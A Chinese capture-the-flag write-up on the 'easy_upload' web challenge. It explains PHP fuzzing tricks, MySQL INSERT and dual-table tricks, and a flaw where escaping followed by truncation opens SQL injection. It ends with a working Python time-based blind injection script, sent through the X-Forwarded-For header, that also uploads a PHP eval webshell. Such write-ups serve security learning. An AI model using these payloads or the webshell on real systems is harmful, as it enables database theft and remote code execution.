强网杯精英赛 – easy_upload

这是一道坑比较多的题…结果:只差最后一个坑没能跳出来…

记录一下做这道题的过程中踩过的坑、开过的脑洞和学到的东西:

  • 一些fuzz技巧

如果正常的GET或POST方式是login.php?username=xxx,我们把它换成login.php?username[]=xxx&username[]=yyy,PHP接收到的$_REQUEST['username']就不再是一个字符串"xxx",而是一个数组array("xxx", "yyy")了。这会导致PHP爆出Error或Warning,还可能触发strcmp在字符串与数组比较时的漏洞

PHP所有对文件或文件夹操作的函数,都可能因为文件名过长而爆出Error或Warning,从而暴露绝对路径。

  • dual表

dual表是MySQL中虚拟出来的一张空表(table)。

用途:在没有表名的情况下执行SQL语句,例如SELECT VERSION() FROM dual;

在CTF中的用途:我们有条件执行SELECT语句,但我们不知道任何一张表的表名,利用dual表仍然可以执行MySQL内置函数。

  • INSERT INTO

MySQL的INSERT语句常见的写法是:

INSERT INTO t1 (a, b, c) VALUES (x, y, z);

但MySQL也支持一次插入多条记录:

INSERT INTO t1 (a, b, c) VALUES (x1, y1, z1), (x2, y2, z2), (x3, y3, z3);

以及在VALUES ()内部进行前向引用:

INSERT INTO t1 (a, b, c) VALUES (x, length(x), to_base64(x));

以及在VALUES ()内部使用()包裹的SELECT语句:

INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT d FROM t2 LIMIT 1));

但不支持在VALUES ()内部SELECT同一张表内的数据:

INSERT INTO t1 (a, b, c) VALUES (x, y, (SELECT a FROM t1 LIMIT 1));

但仍然可以将同一张表内的数据先SELECT,用()包裹,再SELECT AS FROM dual,从而读出同一张表内的数据:

INSERT INTO t1 (a, b, c) VALUES (x, y, SELECT (SELECT a FROM t1 LIMIT 1) as tmp FROM dual)

  • 危险字符转义 + 字段长度限制 = 攻击点?
<?php
$name = 'aaaaaaaaaaaaaaaaaaa\';
$name = str_replace('\\', '\\\\', $name); // $name -> 'aaaaaaaaaaaaaaaaaaa\\'
$name = str_replace('"', '\\"', $name); // $name unchanged
$name = str_replace('\'', '\\\'', $name); // $name unchanged
$name = substr($name, 0, 20); // $name -> 'aaaaaaaaaaaaaaaaaaa\'
$content = '';
mysql_query('INSERT INTO data (name, content) VALUES ("' . $name . '", ' . $content . '")', $conn);
?>

这是一个常见的危险字符过滤逻辑,将', ", \做转义,防止它们造成SQL语句逃逸。之后的substr限制长度也是合理的,对应于数据库中一个VARCHAR(20)列。这段代码执行却会导致MySQL报错:$namesubstr截断后重新变成以单个\结束,将后面的”转义掉,从而造成双引号不匹配。

这样操作$name只会导致MySQL报错,但如果我们还能控制INSERT的下一个字段(此处的$content),$content会出现在""之外,我们就可以在$content中插入MySQL代码了。

  • 手写延时盲注

在SQLMap无法使用的情况下,我们需要手写脚本来进行延时盲注了,感谢kericwy提供的脚本:

小技巧1:利用Python的requests模块,为http请求设置超时值(timeout),可以判断我们的盲注代码里面的SLEEP是否执行成功。如果我们的SQL代码执行成功会SLEEP(5),执行失败会SLEEP(0),我们设置timeout=3,就可以用是否抛出Exception来判断是否执行成功了。

小技巧2:用()包裹SELECT语句,就可以将SELECT语句的查询结果传递给其他函数(例如mid())进行处理,以及作为INSERT INTO VALUES(的参数。这样我们可以在INSERT语句内部执行SELECT

小技巧3:在不知道表名的情况下,从INFORMATION_SCHEMA数据库中的TABLES表中可以找出所有表的名称。

小技巧4:MySQL的group_concat()可以将多行的查询结果合并到一行,以,分隔。(但是它不能将多列合并为一列)

import requests

def inject(n,guess):
    session = requests.Session()

    paramsMultipart = [('upfile', ('kericwy.php ', "\x23!/usr/bin/php\r\n@eval(\x24_REQUEST['notashell']);\n", 'application/octet-stream'))]
    payload=",1,(if(((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({n})))<{guess})),sleep(5),null)))\x23".format(n=n,guess=guess)
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0","Referer":"http://10.10.5.113/index.php","Connection":"close","X-Forwarded-For":payload,"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"}
    cookies = {"PHPSESSID":"b06253970bfd8d30f54bb7f365cb6994"}
    try:
        response = session.post("http://10.10.5.113/upload.php", files=paramsMultipart, headers=headers, cookies=cookies,timeout=3)
    except Exception:
        print(guess)
        return guess
    return None

answer=''
for n in range(1,50):
    for guess in range(32,127):
        result=inject(n,guess)
        if result!=None:
            answer+=chr(result-1)
            print(answer)
            break